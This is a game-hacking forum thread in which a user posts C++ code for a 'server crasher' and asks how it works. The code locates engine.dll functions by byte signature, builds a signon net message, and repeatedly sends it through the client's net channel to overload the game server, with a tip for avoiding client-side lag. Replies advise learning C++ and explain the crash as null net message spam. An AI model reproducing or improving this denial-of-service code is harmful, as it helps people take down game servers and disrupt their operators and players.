How does this server crasher work (code below)

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How does this server crasher work (code below)
Functions:
static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(Utils::FindSignature("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(Utils:: FindSignature("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));

Alloc:
void* pSignonMsg = malloc(76);

Actual crasher:
if (nTotalSentSignon < TOTAL_AMOUNT)
{
NewSignonMsg(pSignonMsg, 6, g_pClientState->m_nServerCount);

for (int i = 0; i < AMOUNT_PER_TICK; i++)
Utils::CallVFunc<42>(g_pClientState->m_NetChannel, pSignonMsg, false, false);

ClearSignonMsg(pSignonMsg);
nTotalSentSignon += AMOUNT_PER_TICK;
}

Fix clientsided lagging by hooking EmitSound and returning when doing to crash/when the null.wav sound tries to play
Firstly I think code needs to be put in warp code function, and secondly to be able to use that you need to learn cpp. No one will do that for free, only the code was released. All you need to search in google is learn cpp. I would also suggest these 2 posts on MPGH ----> C, C++ and Visual C++ Books and Resources and How to start into Game Hacking

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Also You took this from another post and I am assuming you have no coding knowledge whatsoever?
Actually this was from boring channel and no one on the fourm, coding wise i only paste
Quote Originally Posted by suicidalsheep666 View Post
Actually this was from boring channel and no one on the fourm, coding wise i only paste
I would still suggest you learn to code as no one in the community is willing to do the work for you for free, so it is up to you to implement your own items
Anyone knows what TOTAL_AMOUNT is?
Quote Originally Posted by affe2626 View Post
Anyone knows what TOTAL_AMOUNT is?
1337(No.)//2Short
The question im asking is, does this crash the server by causing a loop of certain commands or what? Does anyone know? Thanks for all the reply's btw

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Quote Originally Posted by 1C4ST4W4Y1 View Post
I would still suggest you learn to code as no one in the community is willing to do the work for you for free, so it is up to you to implement your own items
Im not asking to implement this into any code, I just want to know how this causes the server to crash. Like is it a loop or something?
Quote Originally Posted by suicidalsheep666 View Post
The question im asking is, does this crash the server by causing a loop of certain commands or what? Does anyone know? Thanks for all the reply's btw

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Im not asking to implement this into any code, I just want to know how this causes the server to crash. Like is it a loop or something?
stackoverflow with null net msg spam
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